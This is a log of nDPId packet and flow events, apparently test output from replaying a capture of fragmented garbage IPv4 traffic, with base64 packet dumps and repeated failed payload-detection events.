+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868649,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868661,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868677,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868690,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAmRzYmtudmMv"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1534244030168,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":11892,"dst_port":26470,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":168906,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj92mAAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":168934,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":168946,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":168958,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":168969,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":168980,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":168990,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169011,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169049,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169072,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169082,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169097,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169110,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169122,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169135,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169148,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169162,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169220,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169234,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169249,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169262,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169274,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169289,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169301,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169314,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169327,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169339,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169352,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169368,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169380,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169406,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169417,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":169444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 